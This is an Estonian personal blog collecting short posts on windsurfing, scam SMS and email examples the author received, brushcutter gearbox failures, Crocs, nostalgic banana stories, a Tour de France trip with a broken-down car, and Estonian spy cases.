Lendasin kaldale tagasi, panin 4.5-se purje ja 76L Sünkro Pro. Masti muidugi jälle paindesse ei saanud. Läksin peale, tuul kukkus ära ja selgus, et 5.5 oleks siiski paras olnud. Uppusin siis sellega nats oma 90 kiloga. Lõpuks sain tund aega kalda ääres madalas 200-300m lõikudena puhanguti sõita, kuna kaugemale ei taht minna, vesi läks üle pea ja pärast tulnuks räme šeim-vook. Koju sõites jäi Atsu kliimaseade ka vait. Täiega kordaläinud päev ikka!

Aga vähemalt varvas nüüd selline jäme, valus ja sini-hele-roheline.

Scam SMS's and scam e-mails

People make money different ways. I have received the following scam SMS already twice this year:

Avis d'HUISSIER de JUSTICE: veuillez nous contacter en urgence au 0553710149 pour un dossier 140314314.

Sender: 38138
Message centre: +33689004000

-------------------------------------SCAM SMS version 2 --------------

priere de contacter le 0553710149 pour dossier vous concernant avant porsuites ref: 140314314

Sender: 38138
Message centre: +33689004000

 -------------------------------------SCAM SMS version 3 --------------
Dernier avis avant saisie  à vos frais. Applez-moi au 0553710149. Dossier 140314314. SCP CALMES Etude d'Hussiers.

Sender: 38138

-------------------------------------SCAM---------------------------------

From: Carlos Ribeiro, F-R, UK www.fr-uk.com

Please note that if you would like to work with us, you may only send your emails to
carl.ribeiro1@aol.co.uk or carl.ribeiro1@yahoo.co.uk emails sent anywhere else may not be seen.

I am contacting you on behalf of my employer who is interested in working with you after finding your
contact information on the Internet directory of your Chamber of Commerce.

My employer is the Owner of F-R, UK, and we are based in Scotland. We provide consultation and advise
to clients wishing to invest in the UK. Usually, for clients investing elsewhere, we have
associates/affiliates that are referred, but our client has chosen your country as a good destination to use
her assets as investments and we presently do not have any affiliates of associates in your country.

We have therefore decided to get other professionals, like you, based in your country to collaborate with
us in establishing a company or several companies under which we shall execute our client’s brief. Her
priority will be Property Development and Tourism, where my employer is an expert, whereas we will also
provide Loan/Venture Capital Services in other sectors.

Under Venture Capital, we shall focus on companies in Healthcare and Agriculture but our focus will
mostly be on Renewable Energy companies. It is important to note that the amount to be invested is USD
60, 000, 000 (Sixty Million US Dollars).

I have sent you this missive as a proposition to be our partner/associate. If you have any interest in this,
and have projects that need funding, we can finance them via these new companies. If not, since we still
want to work in your country, you could refer us to other companies/individuals that may be interested and
get a commission for your effort. As I advised above, our client has chosen your country and this is
because we believe that the economy of your country will grow significantly over the next 5-10 years.

At the moment, I am not sure you will have any interest in this process so I will give just the basic details.

If you would like to work with us, do respond to the email addresses already given above, indicating your
interest, otherwise I apologize for any inconvenience caused.

Yours Sincerely.

Carlos Ribeiro
Tel: (0044) 70 876 27 623

Täielik keemia!

Täiendasin natuke ennast keemia vallas ja silma jäi selline tabel - Mendelejevi tabel elementide avastanud riikide lõikes:

Mendelejevi tabel elementide avastanud riikide lõikes.

Küsimus Marek Strandbergile: "Kus on sinimustvalged lipud?". Eeldan natuke sügavama sisuga vastust.

Koliks soojale maale?

Monaco GP, 25.03.2011

Ma olen mereloom. Juba paar aastat olen unistanud elamisest Vahemere ääres. Ookean on küll vahva ja võimas, aga siin neljakümne neljandal laiuskraadil on ta tõeliselt soe vaid mõned kuud aastas. Käesoleval aastal võib-olla ei lähegi soojaks kui nii jätkub.  Naljatamisi oleme siin juba plaaninud Eesti suvitama tulla. Lisaks tuul  - Vahemeri pakub surfamiseks (ma ei mõtle neid kõhuli olesklejaid) paremaid tingimusi - seal on 200 tuulist päeva aastas! Tuulise ilma tõenäosus on vähemalt 5 korda suurem kui siin Atlandi ääres.
Järgmine nüanss - nii siin kui seal on võimalik talvel mägedesse suusatama sõita mõistliku ajaga - jälle ei jääks millestki ilma kui siit ära koliks.  Vahemere ääres elu keeb, aga meie elame Baskimaal, mis on nagu Prantsuse Setomaa.
Muretseda on jäänud vaid sissetulekuallika leidmise peale Vahemere ääres. Ilmselt Prantsusmaal mitte Hispaanias. See protsess võtab mul ühes tuumas koguaeg umbes 2-3% ressurssi. Mets on küll mõnus, aga võiks ju midagi hoopis muud teha - näiteks veesõidukite vallas või kasvõi auto-moto alal. Offroadihobiga saab muidugi metsas töö käigus tegelda :)  Paljud peavad autodega mudas müttamise eest peale maksma. 

Siin, kus kõik asjad on ilusate hindadega ning potensiaalseid kliente on palju, võiks teha kasvõi autolammutuse või -töökoja. Kunagi kui ma veel Eestis elasin, oli mul sarnane algatus plaanis. Isegi partner ja kinnisvara sai juba tookord välja otsitud, aga ühel hetkel avaldas partner soovi üksi edasi minna. Ma astusin teepealt eest ja tema on tänaseni tubli poiss olnud - www.autoart.ee

Kes seekordses start-up'is tahaks kaasa lüüa? Üksi on jõle igav ja paljud otsivad variante, kuidas Eestist tulema saada.

Sauternes, foie gras ja baguette...

... need me sõbrad kolmekesi.

Baguette, foie gras and a bottle of Sauternes

Husqvarna 555 FXT võsalõikaja pehmed reduktorid

Husqvarna 545 Fx purunenud reduktori detail.

Kui täna kuulsin, et järjekordsel kliendil Husqvarna 555 Fxt reduktori võlli hammasratas peale kolme töökuud purunes, mõtlesin, et oleks aeg võsalõikajaid hoiatada. Olen müünud selle mudeli väljatulekust saadik kümmekond Husqvarna viis-viis-viit ning tunnen lisaks neile veel umbes kümmet metsafirmat, kes neid lõikajaid kasutavad ja peaaegu kõikidel on esimestel kuudel reduktor purunenud. Kas on tegu Husqvarna kavala 21. sajandi müüginipiga?
Toon siin ühe hea paralleeli. Jalatsitootja Crocs näiteks astus raskelt ämbrisse sellega, et plätud kestavad liiga kaua ja inimesed ei pea neid väga tihti vahetama. Seeläbi kannatavad aga müüginumbrid. Kahju et mul ei ole sammuloendurit, aga see, et ma käin juba kolmandat aastat 2 paari Crocs'i plätudega, räägib enda eest. Olgu siinkohal hinnanguliselt välja toodud veel minu jalatsikasutuse protsendid:

1. Crocs'i plätu 96%
2. töösaabas, kui ma vahest metsa satun 2,2%
3. korvpallitoss 1,5% (ainult korvpallitrennides)
4. jalgrattaking 0,1% (suhteliselt ebamugav on nendega niisama kõndida või poodi minna)
5. king (matused, pulmad, tippkohtumised jms) 0,1%
6. mäesuusasaabas (veel kordades kehvem poes käia kui jalgrattakingaga) 0,1%

Muide, pahatihti käin ka lanke vaatamas ja hulgun metsas Crocsidega ja teravad okkad lähevad  vahest läbi talla jalga, aga see ei ole Crocside eluiga päevagi kahandanud.
Ehk siis põhimõtteliselt on viimase 3 aastaga kulunud jalanõude peale ainult 15+15 euri. Need 2 paari Crocs'i plätusid käivad vähemalt 3 aastat veel. Võrdluseks oli mul üks kutt, kes soovis saemehena kätt proovida ja ostis prantsusmaal odavad Crocsi koopiad. Need kestsid umbes kuu aega ja tallad olid läbi nii et varvas käis vastu asfalti. Tõsi, maksid küll poole vähem kui originaalid. Sama kiiresti nagu lõppesid libacrocsid, lõppes ka selle mehehakatise töötahe.

Paar nostalgilist banaalilugu

Pakkusin täna Sääle banaani otsast ampsu, Sää raputas pead nagu ma oleks talle pakkunud marineeritud kõrvitsat. Ja selle peale hakkasid meenuma nostalgilised banaanilood üheksakümnendatest.

1. Pärnuvanaema sattus 80.-ndatel Lõuna-Koreasse turismireisile.  Tagasi tulnud, rääkis kuidas neil oli võimalik süüa nii hommikuks, lõunaks kui õhtuks banaani. Ja peale esimest nädalast banaanidieeti, astudes söögilaua juurde oli emotsioon "jälle need banaanid". See tundus mulle, kes ma võisin olla tol ajal 10 aastane, täiesti uskumatu ja tundus nagu lihtsalt kelkimisena. No mismoodi saab üldse mõelda "jälle need banaanid", kui mina olin saanud elus üldse võibolla 5 korda banaani süüa ja mulle banaan väga maitses. Maitseb muide siiani. Ma olin veendunud, et kui mul oleks valikut, sööksin ma ainult banaani, kasvõi elu lõpuni. Ja see oleks võimatu, et banaan võib ära tüüdata.
2. Kristine tädimees Umberaivar oli Tallinnas valuutapoest banaani ostnud. Tädipoeg Mihkel ei jõudnud ära oodata, kuni nad Kristinega kokku saavad ja sõi banaani kohe ära. Aga selleks, et Kristinele näidata, et ta oli tol päeval banaani söönud, hoidis mihkel banaanikoori õhtuni alles ja käis ringi koored näpus. Kui õhtul koos Tallinnast tagasi hakati sõitma, siis Mihkel ei tahtnud kohe hõisata, et ta tol päeval banaani sai, vaid üritas koortega Kristinele silma jääda, et kadedust tekitada. Kristine aga sihilikult ei võtnud seda teemat üles ja tegi nagu ta neid koori ei märkakski, et Mihkel sellega uhkustada ei saaks. Ju nad olid siis ikka nii vanad juba, et lihtsalt uhkustama minna teemal "aga mina sain täna banaani" tundus juba lapsik.
3. Kütimadise laps Madiken oli kahe aastane ja haigeks jäänud. Arst soovitas kõhuhäda vastu lapsele banaani anda. Ja nii see kohusetundlik noore lapse isa Madis käiski žiguliga 2 korda nädalas Tallinnas valuuta poest soome sõpradelt saadud FIM'ide eest Madikenile banaani ostmas.
   
   

   

   Isegi Nokia 8110 klapiga mobiil sai omale kaarja disaini tõttu hüüdnimeks banaan

   Olid ajad!

Kuidas ma oma kolmandal Tour de France'l käisin

Tere lugeja. Täna on mulle sulle jutustada lugu sellest, kuidas ma Tour de France'i 18. etappi vaatamas käisin. Lase tooli seljatugi natuke alla ja mine too külmikust uus õlle, see jutt tuleb pikem kui üks lehekülg.

Haapsalu Neoroloogiahaigla personal Balti ketil, Rapla küljeall.
Mina ka täiesti äratuntav, suure tõenäosusega "häda-abi pakist" saadud riietega.

Natuke eellugu, mis võiks mõtlema panna inimese, kelle jaoks rattasõit on lihtsalt üks spordiala ja Tour de France (edaspidi TdF) on lihtsalt üks jalgrattavõistlus. TdF  on spordiüritus, millel on publikut igal etapil raja ääres kaasa elamas rohkem kui oli inimesi Balti ketis ja televiisorite ees jälgib mängu julgelt üle 10 miljoni huvilise, võibolla koguni 15 miljonit. Aga miks siis? Igav ju - suur kari sõidab pundis läbi Prantsusmaa. Ei ole päris nii, sest tuurist on kujunenud oma ala iga aastane tippsündmus ja seda peeti tänavu juba 99.-ndat korda.  Meil ei ole siin tegu maailma mastaabis ebapopulaarse spordialaga nagu näiteks murdmaasuusatamine, milles eestlastel geograafilise asendi tõttu jopanud on ning midagi on õnnestunud korda saata. Murdmaasuusatamine on ala, mis iga eesti spordisõpra švipsis peaga välismaalaste seltskonnas rusikaga vastu rinda koputama paneb - our Kiku and our Andrus. Need auväärt nimed ja teod on suure tõenäosusega level või paar allpool ükskõik millise kasvõi ühekordse TdF etapivõidu saavutanud ratta-Ramboga. Aga mees, kes veereb kollase särgiga Champs-Élysées'le, on natukene teisest puust. Mõelgem sellele, et murdmaasuuski on üldse jalga pannud võibolla iga kahekümne viies eurooplane ja ehk 1% maailma elanikest (minu tagasihoidlik hinnang), seevastu jalgrattaga on sõitnud suure tõenäosusega peaaegu iga 20 aastane eurooplane. Annaksin veel hinnanguid - optimistlikult pakkudes võib üle Euroopa keldrites talve ootamas olla mõnisada tuhat murdmaasuusapaari. Seevastu julgeksin pea pakule panna, et ainuüksi Prantsusmaal on täna töökorras jalgrattaid 10-20 miljonit.  Tõsi, naisekandmine,  sääsetapmine ja mobiiltelefoni viskamine on Euroopa lõikes veel ebapopulaarsemad spordialad kui murdmaasuusatamine, aga mitte oluliselt, sest kõiki viimases lauses mainitud spordialasid harrastab maailmas umbes 0% elanikkonnast, kui ümardada täisarvuni.
Siit see siis kõik algab - jalgratas on huvitav ja äraütlemata kasulik leiutis. Jalgrattaga läheb inimene poodi, kui pood jääb kaugemale kui kilomeeter, jalgrattaga käiakse tööl, jalgrattaga käiakse koolis. Mina käisin lapsepõlves suvevaheaegadel Ereliukasega isegi karjas. Kui palju inimesi läheb tööle, kooli, karja, trenni, poodi, sõbrale külla suusatades? Naerma ajab, eks ole!  Üks väike vastuolu siin on - nimelt kui palju kasutatakse jalgratast Aasias igapäevaelus, aga kas te leiate TdF osavõtjate hulgast mõne asiaadi või miks Pekingi olümpiamängudel 18 erineva jalgratta distipliini medalikomplekti hulgast jagus Aasiasse vaid 2 pronksi? Miks see nii on, sellest võiks filosofeerida mõni teine kord.
Kui nüüd lõpetada jalgratta- ja murdmasuusatamise globaalne kandepindade võrdlemine, siis võiks veel algandmetesse kirjutada asjaolud, et elan Prantsusmaal ning tuuril osaleb ka "meie" Rein Taaramäe, siis lahendus on ühene - tuli ka see aasta kohale minna ja osa saada!


Olin siseriiklikule komandeeringule kodunt paari-kolmesaja kilomeetri kaugusele mägedesse üht metsakultuuride hooldamise tööd üle vaatama minemas kui ühtäkki tundsin, et mootoril kadus vääne tagant ära. No ei taha enam mäkke sõita. Mägi iseenesest ei ole ju nii järsk ja auto ei tohiks lahjaks jääda. Kümne sekundiga sain aru, et asi on mäda. Kuna prantslasega kokkusaamine oli hommikul kell 10 mägedes ja mul oli sinna 5 tundi sõitu, siis otsustasin südaööl väikse varuga välja sõita. Probleemi ilmnedes keerasin kiirtee parklasse, et olukorraga tutvumiseks kapotti alla vaadata. Autost väljudes oli selge, et tegu on mingi ülekuumenemise juhtumiga - sellest andsid märku kuumast naksuv väljalaskekollektor ja sumbutaja. Mootori temperatuuri näidik armatuuris oli aga 90 peal nagu kõik oleks korras. Tegelikult oligi mootori temperatuur normaalne, kuna jahutussüsteem huugas viimase piiri peal käia. Auto õhkas kuuma nii kaugele, et see oleks talvises Eestis kolmanda korruse räästad ka tilkuma pannud. Mõtlesin, et teha pole midagi, rullisin autokastis oma reisivoodi ilusti lahti ja mõtlesin, et hommik on õhtust targem. Aga no mis ta ikka oli - silmaga ju ei näe, miks mootor ülekuumeneb, nii et suur ventilaator ja poole ruutmeetrine tuline radikas vaevu vaevu jahutusvedeliku temperatuuri kontrolli all jõuavad hoida kuigi väljas oli vaid 13 kraadi sooja. Mis mul muud teha oli kui proovida edasi sõita. Kohe oli selge, et auto ei sõida, pöörasin kõrvale ja teatasin prantslasele, et mina täna kohale ei jõua, force majeure! Tema muidugi pakkus lahenduseks, et tuleb sikutab mu sihtkohta, vaatame objektid üle ja siis mõtleme mis edasi saab. Talle ei sobinud seda edasi lükata, kuna ka tema sõitis kohtumispaika terve tööpäeva. Tuligi mulle järgi ja vedas mu 100km paela otsas mägedesse. Kuna mul mootor tühikäigul käis probleemideta, siis sain köie otsas nautida siiski võimendatud pidureid ja rooli. Ja pealegi, seisva mootoriga poleks automaati vedada nagunii saanud. Mina hoidsin piduritega köie pingul ja 350 CDI mootoriga Benz vedaski meid probleemideta kohale. Prantslane hakkas küll kohapeal väikestest garaažidest mu autole abi otsima, aga mulle oli ammu selge, et siin aitab ainult Nissani hooldustöökoda ja õliste näppudega pässid, kes suudavad külavahel Peugeot 206-le uued piduriklotsid panna, ei oska kohe kindlasti öelda, mis mu autol antud juhul viga on. Tegelikult pean hakkama mõtlema itimehe palkamise peale, sest peale selle, et rattalaager undab või rehv on tühi, ei ole ilma Boschi diagnostikata midagi tarka selle auto juures peale hakata.  Osta või Villis!
Metsatööstur näitas mulle langid ära ja jättis mu mägedesse koos mu perses Navaraga. Mitte et mul selle vastu midagi oleks olnud, auto ju liikus ikka kuigipalju - mäest üles 30 ja alla 60-70 km/h. Nii ma seal neid lanke siis üle vaatama hakkasin. Aga õhtu oli juba. Sellisest päevast oli ka siiber. Avasin oma ekspeditsioonivoodi ja magasin värskes õhus ja tirtsude viiuldamise saatel kella 22-st kümneni.
Teisel päeval kõmpisin oma udupeene Garmin GpsMap 78s-ga läbi kõik 24 hektarit kuuse-, lehise-, nulunoorendikud ja et tööde maksumust adekvaatselt hinnata, oli mul võsalõikaja kaasas, et proovitükke teha. Tegin neli tundi tööd kahel erineval proovitükil ja sain selge pildi ette. Mis muud kui jõkke pesema ja suund kodu poole. Tegelikult oli mul siiski kavalam plaan - TdF järgmise päeva etapi start oli Toulouse's Blagnac'i äärelinnas ja kuna see jäi mu marsruudile, otsustasin seda starti vaatama minna. Vaim oli valmis pandud, et liigun öösel 30km/h ja hommikul sätin ennast suure tuuri starti jälgima ja kuna kaamera oli ka kaasas, siis rattureid pildistama. Jõudsin veel kurvastada, et ei olnud võtnud fotokale kaasa ühtegi varuakut (teadlikult sellist üritust pildistama minnes alla 2 varuaku ei ole mõtet rääkidagi). Aga siis mõtlesin, et 100 pilti ikka saan pooliku akuga teha... nii Evansist mõned, Taaramäe kindlasti, Greipel ja Cavendish... Sagan muidugi, Vökler, Päär Rooland, Wiggo ja Froome ja kui akut peaks jääma, siis kõike muud ka. Selliste lootustega hakkasin Toulouse'i suunas liikuma, ikka mäest üles 30 ja alla 70km/h. Taha kogunenud autod lasin ilusti mööda. Ega mul enam väga palju sõita ei jäänudki kui järsku hakkas jama pihta. Auto ei lähe enam 30-ki välja. Mäest alla läheb, aga üles ei taha üldse enam minna. Võibolla siis maksimaalselt 10km/h. juba arvutasin, kui kaua niimoodi koju jõudmine aega võtta võiks :) Umbes kilomeetri läbinud sai mulle selgeks, et see auto omal jalal enam siit edasi ei liigu ja pöörasin äsja niidetud viljapõllule, et avada taas oma ekspeditsioonivoodi. Uni tuleb mul vähemalt silmapilkselt kui vaja...
Järgmisel päeval käis meil kõva side staabiga, andsin korralduse Kletsi bussile treila taha otsida ja omale järgi tulla. Pluhv saigi lõpuks Dax'i linnast Kiloutou tööriistarendist korraliku treila, ööpäeva eest tuli välja käia 150 rahaühikut. Krediitkaarti tal ei olnud, aga sai kuidagi kokkuleppele, et maksab ühe päeva eest kohe ära ja asi ants.
Lõpuks õhtu hakul jõudis mu päästja kohale, laadisime Nissani treila peale. No see treiler oli ikka viimasepeal. Kui praegu vaatan, et Respo prastoid autotreilerid maksavad ka 4000 euro kandis, siis sellise prantsuse treila hind võiks olla vähemalt 6000€. Ma ei hakka täpsemalt kirjeldama, muidu see kirjatükk ei saakski valmis, aga Respo kodukal kõige vingem autotreiler on nagu juust meie valdusse antud prantslase kõrval.  Hüppasin rooli. E-katti mul muidugi ei ole, aga Prantsusmaal on hea kui politseile kasvõi Id-kaarti näitad. Mingitest aegumise kuupäevadest, kindlustuspoliisidest, juhilubade kategooriatest, ülevaatuse olemasolust siin välismaalaste puhul küll ükski politsei ei ole hoolinud. Näitad aga ID-kaarti ja auto passi ja sõidad edasi. Kohe sai selgeks, et see sõit väga lõbus olema ei saa, sest Kletsi bussil pole piisavalt väänet ega massi. Treila koos lastiga võis kaaluda umbes 3 tonni, aga kindalaekast leitud tehnilisest passist lugesime välja, et Transitile tohib taha panna ainult poolteist tonni - olime 2 korda lõhki. No veel hullem kui me oleks 1.8L bensiinimootoriga bemmi või 1.9 TDI Ventoga seda koormat vedada üritanud.

Algab kannatuste rada, bussis tonn rauda, haagis koos lastiga 3t, kapoti all kõigest 60kW

Kletsi buss oli halbadest valikutest parim. Lõpp hea, kõik hea, ütlen etteruttavalt. Politseil oli tol päeval tohutu haarang, Pluff oli Mont-de-Marsanis 2 korda puhunud ja nüüd lähenedes ühele ringteele, paistis juba kaugelt, et 3 mootorrattur-žandarmit teevad ringi peal kõva kontrolli.  Aga no meie puhul on ju kaugelt näha, et kõik on korras ja meid nad ei tülitanud õnneks. Ha-ha-haa, tegelikult ma polnud kindel, kas mul üldse mõni dokument kaasas on, teiseks pole mul BE katti olemaski, kolmandaks on haagise mass lõhki, neljandaks ei usu ma et Kletsi Van'il ülevaatus olemas on... Peaaegu oleksimegi vahele jäänud ringilt maha sõites, kuna meie taha kogunes pika sirge tõusu tõttu autode rivi. Tõusu pole ollagi, isegi Lõuna-Eestist leiab selliseid, aga paigalt võttes üle 2. käigu ei lähe, tee või tina. Õnneks politseinikud meie taha tekkinud ummikut tähele ei pannud, tõus lõppes ja laskumistel lükkas massiivne haagis meid vahest isegi 4. käiguga pidurdades kiiruseni 100km/h. Ega see nüüd väga mõnus tunne ei olnud, aga hoogu oli tarvis selleks, et järgmisele tõusule vastu minna. Ja niimoodi tuli läbida üle 200 km. Korra oli üks paarisaja meetrine tõus vaja ka esimese käiguga võtta, kuna vahetult enne ristmikku oli stopmärgiga ristmik. Vot see oli kogemus!

Järgmisel päeval kui treilerit tagasi läksin viima, tundus Kletsi Ford palja treileriga väga särtsakas pill. Ja kui veel treila sain ära antud, siis mõtlesin, et miks ma küll varem selle bussiga Eesti sõitmist nii tõsiseks katsumuseks olin pidanud.  See buss on ju hull püss, jookseb lõdvalt 100 välja, varu ainult minutike kannatust. Pole see 3300km midagi lasta ilma koormata. Jõudsingi tõdemuseni, et kõik on suhteline.

Aga lõppenud velotuurist veel mõne sõnaga. Vaatasin ülekandeid iga päev, vahele jäid vaid 3 etappi. Selle aasta TdF-l osalenud sportlaste taseme üle sain hea ülevaate. Tegelikult otsustati selle aasta hinnalisemad särgid ära umbes esimese nädala lõpuks. See oli siis kui Cancellara andis kollase särgi üle Wigginsile ja Taaramäe valge särgi Van Garderenile.No ja kui siis Voeckler ka täpilise omale sai, oli tuur sisuliselt läbi juba nädal aega tagasi.
Tuuri ülim eesmärk leidis oma lahenduse 7. etapil kuui Wiggo sai kollase särgi omale. Sellest hetkest veerevad grupi peas põhipalgaga Sky Cycling Team'i tööhobused, et hoida silma peal sellel, et atrõõvi ei satuks Nibali, Van den Broeck või Van Garderen. Etapi lõppudel lasti Lotto ja LiquidGaz'i meestel näidata, kumb suudab finisijooneks oma sprinterile parema koha kätte mängida - kas Lotto Greipelile või Liquidgaz Saganile. Vot ei tea, miks Cavendish & Co tuuri keskel paljusid lamedaid etappe mitte isegi ei proovinud võita. Need võidud jagatigi enamus Greipeli ja Sagani vahel.
Mägistel etappidel lasti nagu ikka mitmel ebaolulisel mehel etapivõitu maitsta, aga olgem ausad, Voeckler on minu silmis peale Wiggo teine mees sadulas. Ei saa öelda, et nõrk mees võitis etapi õnne korral. Sama lugu  Pierre Rolandi etapivõidu kohta. Mõni teine etapivõitja sai aga etapivõitjaks küll vaid tänu sellele, et ta oli parim kui ülejäänud jooksikud ja peloton veeres üle finisijoone anektoote rääkides. Aga Voecklerist - peale seda kui ta suhteliselt tuuri algul kukkumise pärast kollasele särgile enam ei pretendeerinud, võttis mees järgmise eesmärgi ja võttis tuuri viimasel veerandil  mägironija punaste täppidega valge särgi oma kontrolli alla ja sõitis sellega Pariisini. Olümpiavõitja särgis tuuri läbinud Mark Cavendish saavutas oma eesmärgi - ta on nüüd võitnud neljal järjestikkusel TdF-l viimase etapi. Wiggins on aga mees teiselt planeedilt- kujutage ette kuidas on võimalik võita kolmedelt olümpiamängudelt hulgaliselt medaleid trekisprindis ning seejärel ala vahetada ning täna olla ülekaalukalt maailma parim temposõitja ning TdF võitja. Hämmastav, kuigi Tour de France eel peetava Criterium du Dauphine võitis Wiggins veenvalt ja eks teda peetigi suurfavoriidiks. Ma loodan Taaramäe läbilööki absoluutsesse tippu, aga täna on see tipp ikka maru kaugel. See konkurents on tihe, sest nagu ma mainisin sissejuhatuses, on jalgrattaspordil erinevalt murdmaasuusatamisest erakordselt lai kandepind. Või lohutame ennast nii nagu kombeks on saanud - kui keegi on liiga hea või parem kui meie mees, siis hakkame teda keelatud ainete kasutamises juba ette süüdistama. Peale eelmise aasta tuuri lõppemist Cadel Evansi võiduga, mõtlesin, et see aasta võidab Andy Schleck'i, aga tal oli Taaramäega sama jama - mõni kuu enne TdF kukkumisel saadud vigastused kummutasid lootused tuurilt hea tulemus võtta. Muide, Andy vend Fränk Schleck oli vist Contadoriga grillimas käinud, seega sai 17 juulil võistluskeelu ja võeti tuurilt maha. 

Lõppsõnaks nii palju, et lamedal sõidetavad grupisõidud on ikka ääretult igavad. Õnneks saadakse sellest aru ka telepildi tootjate hulgas ja need helikopteritelt tehtud vahevõtted Prantsusmaa vaatamisväärsustest HD pildi vahendusel on maru ilusad ja neil on alati tuuri ülekannetes oma koht. Selliste igavate lamedate  etappide võitja ennustamine ei olnud väga raske ülesanne, sest valida oli 3 mehe hulgast. On need Saganid ja Cavendishid, Greipel ja Kirsipuu kõik omamoodi kõvad mehed, aga minu jaoks on võitja ikka see, kes  on parim eraldistartides või tuuri kokkuvõttes kollasega finišeerib. Legendideks saavad rattaspordi ajaloos vaid väga kõvad sprinterid (ratturite keeles pakspersed), kuid Miguel Induraini ja Lance Armstrongi sugusteks mitte iial, c'est la vie!

Herman Simm, Aleksei Dressen,...

Ma sattusin kuulama 07. juulil Vikerraadio saadet Rahva Teenrid ja jäin mõtlema ühele asjaolule, mis puudutab riigireetmist ja vene spioone Eestis.
Kas agent hakkab agendiks oma initsiatiivil või talle tehakse vastupandamatu pakkumine mingi riigi välisluure poolt, see on küsimus? Kas varjus taluda kõik nooled, mida vali saatus paiskab või tõstes relvad hädamere vastu, vaev lõpetada? Tundub, et need inimesed peavad ikka ise olema riigireetmise meelt ja nii Simm kui Dressen läksid tulu teenimise eesmärgil ise venelaste õuele. Miks?
Ma ei ole kohtulahendeid lugenud, võibolla on sellest teemast seal juttu. Aga kui venelased ise käiksid siin spioone värbamas, siis saaks avalikkus aeg-ajalt lugeda artikleid, teemadel "Lugu sellest, kuidas venelased soovisid mind spiooniks palgata.". Siis kui venelased  ise pakkumisi teeks, siis mõni aus kodanik, kes ei soovi pakkumist vastu võtta, räägiks ju sellest avalikult. Aga selliseid lugusid pole mina küll meie ajakirjanduses tähele pannud. 
Hea oleks kui keegi selle artikli lugejatest, kes on lugenud ja süvenenud vastavatesse kohtuotsustesse (põhiseaduse järgi on kohtuotsus avalik), selgitaks neid juhtumeid sellest vaatenurgast. Millisel hetkel ja mis ajenditel tekib riigireetmise mõte?